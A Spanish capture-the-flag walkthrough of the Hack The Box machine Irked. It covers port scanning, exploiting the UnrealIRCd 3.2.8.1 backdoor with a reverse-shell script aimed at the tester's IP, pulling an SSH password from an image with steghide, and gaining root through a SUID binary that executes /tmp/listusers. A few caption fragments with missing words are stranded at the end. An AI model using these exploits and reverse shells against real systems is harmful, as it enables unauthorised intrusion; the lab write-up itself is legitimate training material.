Irked es una máquina bastante simple y directo que requiere conocimientos básicos de enumeración. Muestra la necesidad de escanear todos los puertos de las máquinas e investigar cualquier binario fuera de lugar que se encuentre al enumerar un sistema.
Reconnaissance
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Irked. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.117 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-23 18:12 CET
Initiating SYN Stealth Scan at 18:12
Scanning 10.10.10.117 [65535 ports]
Discovered open port 22/tcp on 10.10.10.117
Discovered open port 111/tcp on 10.10.10.117
Discovered open port 80/tcp on 10.10.10.117
Discovered open port 65534/tcp on 10.10.10.117
Discovered open port 34697/tcp on 10.10.10.117
Discovered open port 8067/tcp on 10.10.10.117
Discovered open port 6697/tcp on 10.10.10.117
Completed SYN Stealth Scan at 18:13, 10.44s elapsed (65535 total ports)
Nmap scan report for 10.10.10.117
Host is up, received user-set (0.040s latency).
Scanned at 2025-03-23 18:12:55 CET for 10s
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
6697/tcp open ircs-u syn-ack ttl 63
8067/tcp open infi-async syn-ack ttl 63
34697/tcp open unknown syn-ack ttl 63
65534/tcp open unknown syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 10.54 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65540 (2.622MB)
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.117
[*] Open ports: 22,80,111,6697,8067,34697,65534
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache, varios puertos relacionados con el protocolo IRCy el servicio de SSH.
❯ nmap -sCV -p22,80,111,6697,8067,34697,65534 10.10.10.117 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-23 18:13 CET
Nmap scan report for 10.10.10.117
Host is up (0.063s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
34697/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.13 - 4.4, Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 2 hops
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 65.27 ms 10.10.16.1
2 32.13 ms 10.10.10.117
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.26 seconds
Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
El protocolo IRC (Internet Relay Chat) es uno de los primeros sistemas de chat en tiempo real que surgieron en internet. Permite que varios usuarios se conecten a un servidor y participen en canales (salas de chat) o conversaciones privadas, todo mediante texto. Aunque hoy existen otras plataformas más modernas, IRC sigue siendo muy usado por comunidades técnicas y, en ocasiones, en el mundo del hacking para coordinar acciones o intercambiar información rápidamente.
Utilizando el comando irssi -c 10.10.10.117 -p 6697, iniciamos el cliente de IRC irssi y nos conectamos al servidor ubicado en la IP 10.10.10.117, empleando el puerto 6697, el cual se utiliza generalmente para conexiones seguras mediante TLS. De esta forma, podemos unirnos a los canales de chat en tiempo real que ofrece dicho servidor.
irssi -c 10.10.10.117 -p 6697
Dentro de la interfaz de Irssi al ejecutar el comando /info, logramos obtener la información del IRC, en el cual se nos muestra la versión Unreal3.2.8.1.
/info
Irssi v1.4.5 - https://irssi.org
18:19 -!- WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=ROXnet CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ are supported by
this server
18:19 -!- EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP are supported by this server
18:19 -!- There are 1 users and 2 invisible on 1 servers
18:19 -!- I have 3 clients and 0 servers
18:19 -!- Current Local Users: 3 Max: 3
18:19 -!- Current Global Users: 3 Max: 3
18:19 -!- MOTD File is missing
18:19 -!- Mode change [+iwx] for user kali__
18:19 -!- Irssi: Your nick is in use by kali [kali@120D0D3E.E1443270.9F3BFBDD.IP]
18:22 -!- =-=-=-= Unreal3.2.8.1 =-=-=-=
18:22 -!- | This release was brought to you by the following people:
18:22 -!- |
18:22 -!- | Coders:
18:22 -!- | * Syzop <syzop@unrealircd.com>
18:22 -!- |
18:22 -!- | Contributors:
18:22 -!- | * aquanight <aquanight@unrealircd.com>
18:22 -!- | * WolfSage <wolfsage@unrealircd.com>
18:22 -!- | * Stealth, tabrisnet, Bock, fbi
18:22 -!- |
18:22 -!- | RC Testers:
18:22 -!- | * Bock, Apocalypse, StrawberryKittens, wax, Elemental,
18:22 -!- | Golden|Wolf, and everyone else who tested the RC's
18:22 -!- |
18:22 -!- | Past UnrealIRCd3.2* coders/contributors:
18:22 -!- | * Stskeeps (ret. head coder / project leader)
18:22 -!- | * codemastr (ret. u3.2 head coder)
18:22 -!- | * McSkaf, Zogg, NiQuiL, chasm, llthangel, nighthawk, ..
18:22 -!- |
18:22 -!- |
18:22 -!- | Credits - Type /Credits
18:22 -!- | DALnet Credits - Type /DalInfo
18:22 -!- |
18:22 -!- | This is an UnrealIRCd-style server
18:22 -!- | If you find any bugs, please report them at:
18:22 -!- | http://bugs.unrealircd.org/
18:22 -!- | UnrealIRCd Homepage: http://www.unrealircd.com
18:22 -!- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
18:22 -!- Birth Date: Mon May 14 2018 at 13:12:50 EDT, compile # 1
18:22 -!- On-line since Sun Mar 23 12:24:54 2025
18:22 -!- ReleaseID (1.1.1.1.2.26 2009/04/13 11:03:55)
18:22 -!- End of /INFO list.
[18:22] [kali__(+iwx)] [1:10 (change with ^X)]
[(status)]
Al buscar por Internet dicha versión, se nos muestra la siguiente vulnerabilidad en la cual en dicha versión dispone de un Backdoor Command Execution en el cual podríamos llegar a ejecutar comando arbitrario en el sistema. Dicha vulnerabilidad se encuentra reportada en CVE-2010-2075.
Versiones de UnrealIRCd v3.2.8.1, distribuidas en ciertos sitios espejo (mirrors) desde Noviembre de 2009 hasta Junio de 2010 contienen una modificación introducida externamente (Caballo de Troya)en la macro DEBUG3_DOLOG_SYSTEM, que permite a atacantes remotos ejecutar comandos de su elección.
Realizando una búsqueda por Internet, logramos encontrar un exploit para aprovecharnos de dicha vulnerabilidad.
Editaremos el archivo exploit.py en el cual deberemos de indicar nuestra dirección IP y el puerto donde estaremos en escucha para recibir la Reverse Shell.
❯ head -n 15 exploit.py
#!/usr/bin/python3
import argparse
import socket
import base64
# Sets the target ip and port from argparse
parser = argparse.ArgumentParser()
parser.add_argument('ip', help='target ip')
parser.add_argument('port', help='target port', type=int)
parser.add_argument('-payload', help='set payload type', required=True, choices=['python', 'netcat', 'bash'])
args = parser.parse_args()
# Sets the local ip and port (address and port to listen on)
local_ip = '10.10.16.2' # CHANGE THIS
local_port = '443' # CHANGE THIS
Por otro lado, nos pondremos en escucha con nc para recibir la conexión.
❯ nc -nlvp 443
listening on [any] 443 ...
Ejecutaremos el exploit indicando el target que es la máquina vulnerable y el puerto donde se encuentra el IRC.
❯ python3 exploit.py 10.10.10.117 6697 -payload bash
Exploit sent successfully!
Verificamos que finalmente ganamos acceso a la máquina y nos encontramos como el usuario ircd. Una vez recibida la Reverse Shell, realizaremos el tratamiento de la terminal para obtener una TTY totalmente interactiva.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.117] 40882
bash: cannot set terminal process group (591): Inappropriate ioctl for device
bash: no job control in this shell
ircd@irked:~/Unreal3.2$ script /dev/null -c bash
script /dev/null -c bash
ircd@irked:~/Unreal3.2$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
ircd@irked:~/Unreal3.2$ export TERM=xterm
ircd@irked:~/Unreal3.2$ export SHELL=bash
ircd@irked:~/Unreal3.2$ stty rows 46 columns 230
Initial Access
Sted Exposed - Hidden Doc & Backup Key
Realizando una enumeración entre los directorios verificamos que en /home/djmardov/Documents/ disponemos de un archivo .backup.
Esto nos indica que se trata de la contraseña de salvoconducto, probablemente utilizada para acceder a un archivo oculto manipulado mediante técnicas de estenografía. La combinación de mayúsculas, minúsculas y patrones alfanuméricos sugiere un diseño pensado para proteger la información oculta de manera robusta.
Nos descargaremos la imagen en nuestro equipo local, verificaaremos que se trata de una imagen.
❯ wget 10.10.10.117/irked.jpg
Prepended http:// to '10.10.10.117/irked.jpg'
--2025-03-23 18:46:28-- http://10.10.10.117/irked.jpg
Conectando con 10.10.10.117:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 34697 (34K) [image/jpeg]
Grabando a: «irked.jpg»
irked.jpg 100%[==================================================================================================================================>] 33,88K --.-KB/s en 0,1s
2025-03-23 18:46:29 (350 KB/s) - «irked.jpg» guardado [34697/34697]
❯ ls -l irked.jpg; file irked.jpg
.rw-rw-r-- gzzcoo gzzcoo 34 KB Mon May 14 19:53:03 2018 irked.jpg
irked.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 600x600, components 3
Se intenta extraer información oculta a través de steghide de la imagen irked.jpg. Durante el proceso se nos solicita el salvoconducto, y una vez ingresado correctamente, los datos extraídos se guardan en el archivo pass.txt.
❯ steghide extract -sf irked.jpg
Anotar salvoconducto:
anot� los datos extra�dos e/"pass.txt".
❯ cat pass.txt
Kab6h+m+bbp2J:HG
Accessing via SSH with password found
Probamos de acceder con estas credenciales y con el usuario djmardov que es donde estábamos en su directorio y verificamos que finalmente logramos acceder al equipo mediante SSH. Por otro lado, logramos visualizar la flag user.txt.
❯ sshpass -p 'Kab6h+m+bbp2J:HG' ssh djmardov@10.10.10.117
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 15 08:56:32 2018 from 10.33.3.3
djmardov@irked:~$ cat user.txt
e4d*****************************
Privilege Escalation
Enumeration of SUID Binaries
Realizando una enumeración del sistema para elevar nuestros privilegios, tratamos de verificar los binarios que disponen del permiso de SUID.
En el resultado obtenido, verificamos un binario un tanto inusual llamado /usr/bin/viewuser.
Verificamos que el propietario del binario es root y que se trata de un binario ELF de Linux.
djmardov@irked:~$ ls -l /usr/bin/viewuser
-rwsr-xr-x 1 root root 7328 May 16 2018 /usr/bin/viewuser
djmardov@irked:~$ file /usr/bin/viewuser
/usr/bin/viewuser: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=69ba4bc75bf72037f1ec492bc4cde2550eeac4bb, not stripped
djmardov@irked:~$
Al tratar de ejecutar el binario se nos indica que no ha encontrado /tmp/listusers.
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-03-23 12:24 (:0)
djmardov pts/1 2025-03-23 13:50 (10.10.16.2)
sh: 1: /tmp/listusers: not found
djmardov@irked:~$
Reversing an ELF Binary via ltrace
Accederemos al directorio donde disponemos el binario y levantaremos un servidor web para compartir el binario.
djmardov@irked:~$ cd /usr/bin
djmardov@irked:/usr/bin~$ python3 -m http.server 8080
Desde nuestra máquina nos descargaremos el binario de viewuser.
❯ wget 10.10.10.117:8080/viewuser
Prepended http:// to '10.10.10.117:8080/viewuser'
--2025-03-23 18:53:33-- http://10.10.10.117:8080/viewuser
Conectando con 10.10.10.117:8080... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 7328 (7,2K) [application/octet-stream]
Grabando a: «viewuser»
viewuser 100%[==================================================================================================================================>] 7,16K --.-KB/s en 0,03s
2025-03-23 18:53:33 (235 KB/s) - «viewuser» guardado [7328/7328]
❯ file viewuser
viewuser: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=69ba4bc75bf72037f1ec492bc4cde2550eeac4bb, not stripped
Al analizar la traza con ltrace, observamos lo siguiente:
Primero, se muestran mensajes informativos que indican que la aplicación está en desarrollo para establecer y probar permisos de usuario.
Ejecutamos el comando who mediante system(), lo que nos permite ver los usuarios conectados, y esta llamada se completa sin problemas.
Se intenta cambiar el ID de usuario a root con setuid(0), pero la llamada falla (retorna -1), lo que significa que la elevación de privilegios no se consigue.
Finalmente, se intenta ejecutar /tmp/listusers mediante system(), pero el archivo no se encuentra, resultando en un error (código de salida 32512).
En resumen, nosotros vemos que, a pesar de que la aplicación intenta realizar acciones sensibles, como elevar privilegios y listar usuarios, estas funcionalidades aún no están completamente implementadas o fallan en su ejecución.
❯ chmod +x viewuser
❯ ltrace ./viewuser
__libc_start_main(["./viewuser"] <unfinished ...>
puts("This application is being devleo"...This application is being devleoped to set and test user permissions
) = 69
puts("It is still being actively devel"...It is still being actively developed
) = 37
system("who" <no return ...>
--- SIGCHLD (El proceso hijo terminó) ---
<... system resumed> ) = 0
setuid(0) = -1
system("/tmp/listusers"sh: 1: /tmp/listusers: not found
<no return ...>
--- SIGCHLD (El proceso hijo terminó) ---
<... system resumed> ) = 32512
+++ exited (status 0) +++
Abusing binary SUID
Primero creamos el archivo /tmp/listusers con el contenido "id", pero al listar sus permisos vemos que sólo es legible y escribible para el propietario (-rw-r--r--), sin permiso de ejecución. Luego, al ejecutar /usr/bin/viewuser, el programa imprime sus mensajes de desarrollo y, al intentar ejecutar el contenido de /tmp/listusers, falla mostrando "Permission denied" porque el archivo no es ejecutable.
djmardov@irked:~$ echo 'id' > /tmp/listusers
djmardov@irked:~$ ls -l /tmp/listusers
-rw-r--r-- 1 djmardov djmardov 3 Mar 23 13:58 /tmp/listusers
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-03-23 12:24 (:0)
djmardov pts/1 2025-03-23 13:50 (10.10.16.2)
sh: 1: /tmp/listusers: Permission denied
djmardov@irked:~$
Primero, otorgamos permisos de ejecución al archivo /tmp/listusers con chmod +x /tmp/listusers. Luego, al ejecutar /usr/bin/viewuser, la aplicación muestra sus mensajes de estado y, tras ello, ejecuta el comando contenido en /tmp/listusers. Con el archivo ahora ejecutable, este comando (que en este caso es id) se ejecuta correctamente, mostrando que el usuario efectivo es root (uid=0) y listando sus grupos. Esto confirma que la aplicación intenta probar la elevación de privilegios al ejecutar comandos con permisos elevados.
djmardov@irked:~$ chmod +x /tmp/listusers
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-03-23 12:24 (:0)
djmardov pts/1 2025-03-23 13:50 (10.10.16.2)
uid=0(root) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
djmardov@irked:~$
Modificamos el contenido de /tmp/listusers para que, al ejecutarse, se invoque una shell de Bash. Al lanzar /usr/bin/viewuser, la aplicación lee ese archivo y ejecuta /bin/bash, lo que nos da una shell con privilegios elevados. Desde allí, comprobamos con whoami que efectivamente somos root. Finalmente visualizamos la flag root.txt.
djmardov@irked:~$ echo '/bin/bash' > /tmp/listusers
djmardov@irked:~$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2025-03-23 12:24 (:0)
djmardov pts/1 2025-03-23 13:50 (10.10.16.2)
root@irked:~# whoami
root
root@irked:~# cat /root/root.txt
28ea6***************************
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Al acceder a comprobamos que solamente se nos muestra una página en la cual nos aparece una imagen, no logramos obtener ningún tipo de información adicional.
Pensamos que quizás donde se encuentre la información oculta se sitúe en la imagen que nos aparecía en la página web .